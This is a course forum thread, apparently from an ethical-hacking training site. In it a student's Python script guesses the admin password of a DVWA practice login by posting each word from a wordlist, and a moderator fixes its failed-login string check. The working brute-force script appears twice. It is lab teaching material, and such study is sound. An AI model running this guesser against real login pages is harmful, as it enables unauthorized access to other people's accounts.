Viewing 7 posts - 1 through 7 (of 7 total)
  • Author
    Posts
  • #40828
    Hassan Aswad
    Participant

    Hello,
    i have a problem with the GUEST LOGIN program. when i give it the wordlist to guess the password. the program doesn’t show me the real password, its show me the first guess on the wordlist. I tryed the programe on the same website as showing in the course. thank you

    #40886
    Diego PérezDiego Pérez
    Moderator

    Hi!
    Can you share your code please?

    Remember to use the “code” button so I can read your code with the proper identation.

    Thanks!
    Diego

    #40887
    Hassan Aswad
    Participant

    `#!/usr/bin/env python
    import requests

    target_url = “http://10.0.2.5/dvwa/login.php”
    data_dict = {“username”: “admin”, “password”: “”, “Login”: “submit”}

    with open(“/root/Downloads/testlist.txt”, “r”) as wordlist_file:
    for line in wordlist_file:
    word = line.strip()
    data_dict[“password”] = word
    response = requests.post(target_url, data=data_dict)
    if “login failed” not in response.content:
    print(“[+] Got the password –> ” + word)
    exit()

    print(“[-] Try again!”)

    #40891
    Hassan Aswad
    Participant

    #!/usr/bin/env python
    import requests

    target_url = “http://10.0.2.5/dvwa/login.php”
    data_dict = {“username”: “admin”, “password”: “”, “Login”: “submit”}

    with open(“/root/Downloads/testlist.txt”, “r”) as wordlist_file:
    for line in wordlist_file:
    `word = line.strip()
    `data_dict[“password”] = word
    `response = requests.post(target_url, data=data_dict)
    `if “login failed” not in response.content:
    print(“[+] Got the password –> ” + word)
    exit()

    print(“[-] Try again!”)

    #40960
    Diego PérezDiego Pérez
    Moderator

    Hi!
    In this code line:
    if “login failed” not in response.content:

    You have to write “Login Failed” with the proper capital letters.

    Let me know how it goes!
    Diego

    #41016
    Hassan Aswad
    Participant

    Yes problem solved Thank you

    #41047
    Diego PérezDiego Pérez
    Moderator

    Hi!
    Cool you got it!
    Diego

Viewing 7 posts - 1 through 7 (of 7 total)
  • You must be logged in to reply to this topic.
Privacy Overview
ZSecurity logo featuring a stylized red letter Z

This website uses cookies so that we can provide you with the best user experience possible. Cookie information is stored in your browser and performs functions such as recognising you when you return to our website and helping our team to understand which sections of the website you find most interesting and useful.

Strictly Necessary Cookies

Strictly Necessary Cookie should be enabled at all times so that we can save your preferences for cookie settings.

3rd Party Cookies

This website uses Google Analytics and Linkedin to collect anonymous information such as the number of visitors to the site, and the most popular pages.

Keeping these cookies enabled helps us to improve our website.